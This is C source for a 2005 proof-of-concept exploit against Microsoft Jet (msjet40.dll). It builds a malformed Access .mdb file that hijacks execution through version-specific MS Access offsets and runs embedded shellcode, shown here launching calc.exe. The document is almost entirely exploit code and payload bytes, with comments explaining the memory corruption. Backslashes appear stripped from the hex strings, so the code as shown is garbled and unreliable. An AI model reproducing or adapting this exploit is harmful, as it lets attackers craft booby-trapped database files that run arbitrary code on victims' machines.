/* 
* --------------------------------------
*
* Microsoft Jet (msjet40.dll) Exploit
* 
* --------------------------------------
*
* Author:
* ----------
* S.Pearson
* Computer Terrorism (UK)
* www.computerterrorism.com
* 11/04/2005
*
*
* Credits:
* ----------
* Hexview (original advisory)
*
*
* Tested on:
* ------------- 
* Windows 2000 SP4 (english)
* Windows XP SP0 (english)
* Windows XP SP1 (english)
*
*
* Requires:
* ------------
* MSAccess offset for stable jmp edx (could use others)
*
* 0x3005AD47 (Microsoft Access 2003)					
* 0x300569F7 (Microsoft Access 2002) * DEFAULT *
* 0x3007F7FF (Microsoft Access 2000)
*					
*
* Tech Overview:	
* ------------------
* Simple exploit based upon Hexview's advisory
* released 01/04/2005.
*					
* Should invoke Calc.exe when opened
*
*
* Narrative:	
* ------------
* In the main this vulnerability is very simple to exploit
* although a little work is required to finally get to our 
* shellcode.
*
* As per the original advisory, insufficient data
* validation is not performed when msjet40.dll 
* parses a database file. Accordingly, by modifying 
* parts of a .mdb database file, we can eventually 
* gain control of the EIP.
*
*
* A database.mdb file is modified at the following location
*
* 00002310:  65 00 00 01 <--- vulnerable value in AX (0100) 
*
* The value goes through a signed expansion that is 
* used to access a 32-bit pointer to the variable that 
* stores the address of a call table.
*
* mov     ecx, [edi+eax*4+0B0h]	// edx now points to an offset
* mov     edx, [ecx]			// from our malformed file
* call    dword ptr [edx+10h]		// (MSAccess jmp edx)
*
*
* jmp	edx	// EDX points to start of shell_jmp										  
* add	esi,8	// Sets up esi to point to main shell						  
* call	esi	// Execute Shellcode														
*
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>


char header[]=

"x00x01x00x00x53x74x61x6Ex64x61x72x64x20x4Ax65x74"
"x20x44x42x00x01x00x00x00xB5x6Ex03x62x60x09xC2x55"
"xE9xA9x67x72x40x3Fx00x9Cx7Ex9Fx90xFFx85x9Ax31xC5"
"x79xBAxEDx30xBCxDFxCCx9Dx63xD9xE4xC3x9Fx46xFBx8A"
"xBCx4ExB2x6DxECx37x69xD2x9CxFAxF2xC8x28xE6x27x20"
"x8Ax60x60x02x7Bx36xC1xE4xDFxB1x43x62x13x43xFBx39"
"xB1x33x00xF7x79x5BxA6x23x7Cx2AxAFxD0x7Cx99x08x1F"
"x98xFDx1BxC9x5Ax6AxE2xF8x82x66x5Fx95xF8xD0x89x24"
"x85x67xC6x1Fx27x44xD2xEExCFx65xEDxFFx07xC7x46xA1"
"x78x16x0CxEDxE9x2Dx62xD4x54x06x00x00x34x2Ex30x00";



char body[]=

"x00x00x80xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"
"xFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFFxFF"
"x02x01xDEx0Bx00x00x00x00x90x90x90x90x59x06x00x00"
"x11x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x53x11x00x0Bx00x11x00x02"
"x00x00x00x02x00x00x00x00x06x00x00x01x06x00x00x00"
"x00x00x00x11x00x00x00x00x00x00x00x00x00x00x00x11"
"x00x00x00x00x00x00x00x0Cx59x06x00x00x09x00x03x00"
"x00x00x09x04x00x00x12x00x00x00x00x00x00x00x00x00"
"x0Cx59x06x00x00x08x00x02x00x00x00x09x04x00x00x12"
"x00x00x00x00x00x00x00x00x00x08x59x06x00x00x04x00"
"x01x00x00x00x09x04x00x00x13x00x00x00x00x00x0ax00"
"x08x00x08x59x06x00x00x05x00x01x00x00x00x09x04x00"
"x00x13x00x00x00x00x00x12x00x08x00x04x59x06x00x00"
"x07x00x02x00x00x00x09x04x00x00x13x00x00x00x00x00"
"x1Ax00x04x00x0Ax59x06x00x00x0Ax00x04x00x00x00x09"
"x04x00x00x12x00x00x00x00x00x00x00xFEx01x04x59x06"
"x00x00x00x00x00x00x00x00x09x04x00x00x13x00x00x00"
"x00x00x00x00x04x00x0Bx59x06x00x00x0Dx00x07x00x00"
"x00x09x04x00x00x12x00x00x00x00x00x00x00x00x00x0B"
"x59x06x00x00x10x00x0Ax00x00x00x09x04x00x00x12x00"
"x00x00x00x00x00x00x00x00x0Bx59x06x00x00x0Fx00x09"
"x00x00x00x09x04x00x00x12x00x00x00x00x00x00x00x00"
"x00x0Bx59x06x00x00x0Ex00x08x00x00x00x09x04x00x00"
"x12x00x00x00x00x00x00x00x00x00x0Ax59x06x00x00x02"
"x00x00x00x00x00x09x04x00x00x12x00x00x00x00x00x00"
"x00xFEx01x09x59x06x00x00x06x00x01x00x00x00x09x04"
"x00x00x32x00x00x00x00x00x00x00xFEx01x04x59x06x00"
"x00x01x00x00x00x00x00x09x04x00x00x13x00x00x00x00"
"x00x04x00x04x00x0Bx59x06x00x00x0Cx00x06x00x00x00"
"x09x04x00x00x12x00x00x00x00x00x00x00x00x00x09x59"
"x06x00x00x0Bx00x05x00x00x00x09x04x00x00x12x00x00"
"x00x00x00x00x00xFEx01x03x59x06x00x00x03x00x01x00"
"x00x00x09x04x00x00x13x00x00x00x00x00x08x00x02x00"
"x0Ex00x43x00x6Fx00x6Ex00x6Ex00x65x00x63x00x74x00"
"x10x00x44x00x61x00x74x00x61x00x62x00x61x00x73x00"
"x65x00x14x00x44x00x61x00x74x00x65x00x43x00x72x00"
"x65x00x61x00x74x00x65x00x14x00x44x00x61x00x74x00"
"x65x00x55x00x70x00x64x00x61x00x74x00x65x00x0Ax00"
"x46x00x6Cx00x61x00x67x00x73x00x16x00x46x00x6Fx00"
"x72x00x65x00x69x00x67x00x6Ex00x4Ex00x61x00x6Dx00"
"x65x00x04x00x49x00x64x00x04x00x4Cx00x76x00x0Ex00"
"x4Cx00x76x00x45x00x78x00x74x00x72x00x61x00x10x00"
"x4Cx00x76x00x4Dx00x6Fx00x64x00x75x00x6Cx00x65x00"
"x0Cx00x4Cx00x76x00x50x00x72x00x6Fx00x70x00x08x00"
"x4Ex00x61x00x6Dx00x65x00x0Ax00x4Fx00x77x00x6Ex00"
"x65x00x72x00x10x00x50x00x61x00x72x00x65x00x6Ex00"
"x74x00x49x00x64x00x16x00x52x00x6Dx00x74x00x49x00"
"x6Ex00x66x00x6Fx00x4Cx00x6Fx00x6Ex00x67x00x18x00"
"x52x00x6Dx00x74x00x49x00x6Ex00x66x00x6Fx00x53x00"
"x68x00x6Fx00x72x00x74x00x08x00x54x00x79x00x70x00"
"x65x00x83x07x00x00x01x00x01x02x00x01xFFxFFx00xFF"
"xFFx00xFFxFFx00xFFxFFx00xFFxFFx00xFFxFFx00xFFxFF"
"x00xFFxFFx00x10x06x00x00x07x00x00x00x00x00x00x00"
"x81x00x00x00x00x00x83x07x00x00x00x00x01xFFxFFx00"
"xFFxFFx00xFFxFFx00xFFxFFx00xFFxFFx00xFFxFFx00xFF"
"xFFx00xFFxFFx00xFFxFFx00x11x06x00x00x08x00x00x00"
"x00x00x00x00x81x00x00x00x00x00x59x06x00x00x01x00"
"x00x00x01x00x00x00x00xFFxFFxFFxFFx00x00x00x00x04"
"x04x01x00x00x00x00x59x06x00x00x00x00x00x00x00x00"
"x00x00x00xFFxFFxFFxFFx00x00x00x00x04x04x00x00x00"
"x00x00";


char shell_jmp[]= 

"x14x00"		// Expanded ID Parameter (20 bytes) to accommodate this code
"x83xC6x08"		// Add ESI,8 (Pointer to our shellcode)
"xFFxE6"		// Call ESI (Execute Shellcode)
"x90x90x90x90"   
"x90x90x90x90"		// Not used
"x90x90x90";


char EIP[]=


//"x47xADx05x30";	// MSAccess 2003 (jmp edx) 
"xF7x69x05x30";	// MSAccess 2002 (jmp edx) 
//"xFfxf7x07x30";	// MSAccess 2000 (jmp edx) 


char vuln_param[]=				   

"x18x00x50x00"
"x61x00x72x00"
"x65x00x6Ex00"
"x74x00x49x00"
"x64x00x4Ex00"
"x61x00x6Dx00"
"x65x00x00x01"		// 0100 will result in EDX pointing to a 
			// variable containing our MSAccess offset 
					
"x04x06x00x00"
"x05x06" ;




char shellcode[]= 

/* Invokes Calc.exe in another Process
*/

"x29xC9x83xE9xDBxD9xEExD9x74x24xF4x5Bx81x73x13xA9"
"x67x4AxCCx83xEBxFCxE2xF4x55x8Fx0CxCCxA9x67xC1x89"
"x95xECx36xC9xD1x66xA5x47xE6x7FxC1x93x89x66xA1x2F"
"x87x2ExC1xF8x22x66xA4xFDx69xFExE6x48x69x13x4Dx0D"
"x63x6Ax4Bx0Ex42x93x71x98x8Dx63x3Fx2Fx22x38x6ExCD"
"x42x01xC1xC0xE2xECx15xD0xA8x8CxC1xD0x22x66xA1x45"
"xF5x43x4Ex0Fx98xA7x2Ex47xE9x57xCFx0CxD1x68xC1x8C"
"xA5xECx3AxD0x04xECx22xC4x40x6Cx4AxCCxA9xECx0AxF8"
"xACx1Bx4AxCCxA9xECx22xF0xF6x56xBCxACxFFx8Cx47xA4"
"xD7xBFxA8xBFxC1xFFxB4x46xA7x30xB5x2Bx41x89xB5x33"
"x56x04x2BxA0xCAx49x2FxB4xCCx67x4AxCC";

char body2[]= 

"x02x01xA9x0Ex00x00x00x00x4Fx01x00x00x59x06x00x00"
"x34x00x00x00x00x00x00x00x01x00x00x00x00x00x00x00"
"x00x00x00x00x00x00x00x00x53x04x00x01x00x04x00x01"
"x00x00x00x01x00x00x00x12x06x00x00x13x06x00x00x00"
"x00x00x00x11x00x00x00x00x00x00x00x04x59x06x00x00"
"x02x00x01x00x00x00x09x04x00x00x13x00x00x00x00x00"
"x04x00x04x00x01x59x06x00x00x03x00x01x00x00x00x09"
"x04x00x00x13x00x00x00x00x00x00x00x01x00x04x59x06"
"x00x00x00x00x00x00x00x00x09x04x00x00x13x00x00x00"
"x00x00x00x00x04x00x09x59x06x00x00x01x00x00x00x00"
"x00x09x04x00x00x32x00x00x00x00x00x07x00xFEx01x06"
"x00x41x00x43x00x4Dx00x18x00x46x00x49x00x6Ex00x68"
"x00x65x00x72x00x69x00x74x00x61x00x62x00x6Cx00x65"
"x00x10x00x4Fx00x62x00x6Ax00x65x00x63x00x74x00x49"
"x00x64x00x06x00x53x00x49x00x44x00x83x07x00x00x00"
"x00x01xFFxFFx00xFFxFFx00xFFxFFx09xFFxFFx00xFFxFF"
"x00xFFxFFx00xFFxFFx04xFFxFFx12xFFxFFx00x14x06x00"
"x00x09x000x0x00x41x00x74x00x88x00x00x00x00x00x59"
"x06x00x00x00x00x00x00x00x00x00x00x00xFFxFFxFFxFF"
"x00x00x00x00x04x04x00x00x00x00x00x10x00x4Fx00x62"
"x00x6Ax00x65x00x63x00x74x00x49x00x64x00xFFxFFx00";

char mdb[94208];

int main(int argc,char *argv[])
{

FILE *filename_mdb;
if(argc == 1)
{
printf("nMicrosoft Jet (msjet40.dll) Exploitn");
printf("===================================nn");
printf("Author:       S.Pearsonn");
printf("Organisation: Computer Terrorism (UK)nn");
printf("Usage: %s <filename.mdb>n",argv[0]);
return 1;
}

filename_mdb = fopen(argv[1],"wb");

memset(mdb,0x00,sizeof(mdb)); //fill with nulls
memcpy(mdb,header,sizeof(header)); 
memset(mdb+sizeof(header)-1,0x43, 7968);
memcpy(mdb+sizeof(header)-1+7969-1,body, sizeof(body));
memcpy(mdb+sizeof(header)-1+7968+sizeof(body)-1,shell_jmp, sizeof(shell_jmp));
memcpy(mdb+sizeof(header)-1+7968+sizeof(body)-1+sizeof(shell_jmp)-1, EIP, sizeof(EIP));
memcpy(mdb+sizeof(header)-1+7968+sizeof(body)-1+sizeof(shell_jmp)-1+sizeof(EIP)-1, vuln_param, sizeof(vuln_param));
memcpy(mdb+sizeof(header)-1+7968+sizeof(body)-1+sizeof(shell_jmp)-1+sizeof(EIP)-1+sizeof(vuln_param)-1, shellcode, sizeof(shellcode));
memset(mdb+sizeof(header)-1+7968-1+sizeof(body)-1+sizeof(shell_jmp)-1+sizeof(EIP)-1+sizeof(vuln_param)-1+sizeof(shellcode), 0x43, 2924);
memcpy(mdb+sizeof(header)-1+7968-1+sizeof(body)-1+sizeof(shell_jmp)-1+sizeof(EIP)-1+sizeof(vuln_param)-1+sizeof(shellcode)-1+2924-1,body2,sizeof(body2));


if(filename_mdb)
{
fwrite(mdb,1,sizeof(mdb),filename_mdb);
fclose(filename_mdb);
}
printf("Malformed .mdb file created.n");
printf("Now open with MSAccess.n");
return 0;
}

// www.Syue.com [2005-04-11]